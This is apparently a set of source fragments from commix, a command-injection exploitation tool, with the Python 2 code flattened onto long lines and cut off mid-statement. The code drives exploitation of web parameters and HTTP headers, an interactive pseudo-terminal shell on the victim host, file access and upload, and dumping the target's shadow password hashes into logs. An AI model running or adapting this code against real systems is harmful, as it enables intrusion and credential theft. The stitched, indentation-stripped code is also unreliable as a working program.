settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def unavailable_option(check_option): warn_msg = "The '" + check_option + "' option " warn_msg += "is not yet available for windows targets." print settings.print_warning_msg(warn_msg)
def main(): try: # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--dependencies" option. # For checking (non-core) third party dependenices. if menu.options.noncore_dependencies: checks.third_party_dependencies() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) # Define the level of verbosity. if menu.options.verbose > 1: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 1]." print settings.print_critical_msg(err_msg) sys.exit(0) else: settings.VERBOSITY_LEVEL = menu.options.verbose # Check if defined "--delay" option. if menu.options.delay: if menu.options.delay > "0": settings.DELAY = menu.options.delay # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print settings.print_critical_msg(err_msg) sys.exit(0) # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.logfile: parser.logfile_parser() # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: url = menu.options.url # Check if http / https url = checks.check_http_s(url) if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR # One directory up, if Windows or if the script is being run under "/src". if settings.IS_WINDOWS or "/src" in os.path.dirname( os.path.abspath(__file__)): os.chdir("..") output_dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except: raise html_data = content = response.read() print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: question_msg = "Do you want to enable an HTTP server? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace( "\n", "").lower() if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: if enable_HTTP_server == "": enable_HTTP_server = "enter" err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0) # Used a valid pair of valid credentials if menu.options.auth_cred: success_msg = Style.BRIGHT + "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL success_msg += Style.BRIGHT + "'." + Style.RESET_ALL print settings.print_success_msg(success_msg) try: if response.info()['server']: server_banner = response.info()['server'] found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS # Procedure for target OS identification. for i in range(0, len(settings.SERVER_OS_BANNERS)): if settings.SERVER_OS_BANNERS[i].lower( ) in server_banner.lower(): found_os_server = True settings.TARGET_OS = settings.SERVER_OS_BANNERS[ i].lower() if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft": identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[: 3].lower( ) if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print settings.print_critical_msg( err_msg) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os # Procedure for target server identification. found_server_banner = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target server... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() for i in range(0, len(settings.SERVER_BANNERS)): if settings.SERVER_BANNERS[i].lower( ) in server_banner.lower(): if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if settings.VERBOSITY_LEVEL >= 1: success_msg = "The target server was identified as " success_msg += server_banner + Style.RESET_ALL + "." print settings.print_success_msg( success_msg) settings.SERVER_BANNER = server_banner found_server_banner = True # Set up default root paths if settings.SERVER_BANNERS[i].lower( ) == "apache": if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = "\\htdocs" else: settings.SRV_ROOT_DIR = "/var/www" if settings.SERVER_BANNERS[i].lower( ) == "nginx": settings.SRV_ROOT_DIR = "/usr/share/nginx" if settings.SERVER_BANNERS[i].lower( ) == "microsoft-iis": settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot" break if not found_server_banner: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target server." print settings.print_warning_msg(warn_msg) # Procedure for target application identification found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext( urlparse(url).path) settings.TARGET_APPLICATION = application_extension[ 1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range( 0, len(settings.UNSUPPORTED_TARGET_APPLICATION )): if settings.TARGET_APPLICATION.lower( ) in settings.UNSUPPORTED_TARGET_APPLICATION[ i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg) # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() # Store the Server's root dir settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. if settings.TARGET_OS == "win" and menu.options.alter_shell: while True: question_msg = "Do you want to use '" + settings.WIN_PYTHON_DIR question_msg += "' as Python working directory on the target host? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) python_dir = sys.stdin.readline().replace( "\n", "").lower() if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: question_msg = "Please provide a custom working directory for Python (e.g. '" question_msg += settings.WIN_PYTHON_DIR + "') > " sys.stdout.write( settings.print_question_msg( question_msg)) settings.WIN_PYTHON_DIR = sys.stdin.readline( ).replace("\n", "").lower() break else: if python_dir == "": python_dir = "enter" err_msg = "'" + python_dir + "' is not a valid answer." print settings.print_error_msg(err_msg) pass settings.USER_DEFINED_PYTHON_DIR = True # Check for wrong flags. if settings.TARGET_OS == "win": if menu.options.is_root: warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as windows." print settings.print_warning_msg(warn_msg) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print settings.print_warning_msg(warn_msg) if menu.options.file_upload: warn_msg = "The '--file-upload' option, is not yet available for windows targets. " warn_msg += "Instead, use the '--file-write' option." print settings.print_warning_msg(warn_msg) sys.exit(0) else: if menu.options.is_admin: warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as unix-like. " print settings.print_warning_msg(warn_msg) if found_os_server == False and \ not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: warn_msg = "Heuristics have failed to identify server's operating system." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " sys.stdout.write( settings.print_question_msg( question_msg)) got_os = sys.stdin.readline().replace( "\n", "").lower() if got_os.lower() in settings.CHOICE_OS: if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: if got_os == "": got_os = "enter" err_msg = "'" + got_os + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not menu.options.os: if found_server_banner == False: warn_msg = "The server which was identified as " warn_msg += server_banner + " seems unknown." print settings.print_warning_msg(warn_msg) else: found_os_server = checks.user_defined_os() except KeyError: pass # Charset detection. requests.charset_detection(response)
# Check the HTTP response content. if len(settings.ENCODING) == 0: http_response_content(response.read()) else: http_response_content(response.read().decode(settings.ENCODING)) except urllib2.HTTPError, err: error_msg = "Got " + str(err).replace(": ", " (") # Check for 4xx and/or 5xx HTTP error codes. if str(err.code).startswith('4') or \ str(err.code).startswith('5'): if settings.VERBOSITY_LEVEL > 1: if len(str(err).split(": ")[1]) == 0: error_msg = error_msg + "Non-standard HTTP status code" warn_msg = error_msg print settings.print_warning_msg(warn_msg + ").") pass else: error_msg = str(err).replace(": ", " (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print settings.print_critical_msg(err_msg + ").") raise SystemExit() except urllib2.URLError, err: err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError:
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES #print "" if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if output == False: output = "" session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" sys_passes = output if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... " sys.stdout.write(new_line + settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print " (" + str( count ) + ") " + Style.BRIGHT + fields[ 0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[ 1] + Style.RESET_ALL # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print fields[0] output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush()